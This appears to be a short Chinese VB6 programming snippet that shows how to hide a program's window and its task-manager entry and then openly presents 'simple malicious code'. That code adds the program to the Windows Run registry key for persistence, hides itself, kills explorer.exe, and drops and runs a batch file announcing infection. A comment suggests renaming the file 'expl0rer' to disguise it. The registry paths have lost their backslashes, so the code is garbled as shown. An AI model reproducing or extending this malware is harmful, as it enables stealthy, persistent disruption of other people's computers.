Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)
Cancel = True
Me.Hide
End Sub
_____________________________
第2种-直接隐藏
Form1.Visible = False
_____________________________
第3种-在任务管理器应用中隐藏
App.TaskVisible = False
_____________________________
于是就可以编写个简单恶意代码
Private Sub Form_Load
Set w = CreateObject("wscript.shell")
w.regwrite "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun" & App.EXEName, App.Path & "" & App.EXEName & ".exe" '导入注册表,实现开机自动运行
Form1.Visible = False
App.Taskvisible = False
Shell "taskkill /f /im explorer.exe ", vbHide '结束explorer.exe进程
Open "c:windows$$$.bat" for Append As #1
Pr #1 , "@echo off"
Pr #1 , "echo 恭喜你中毒"
Pr #1 , "echo. & pause"
close #1
x = shell("c:windows$$$.bat")
....... '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等
End Sub
最新评论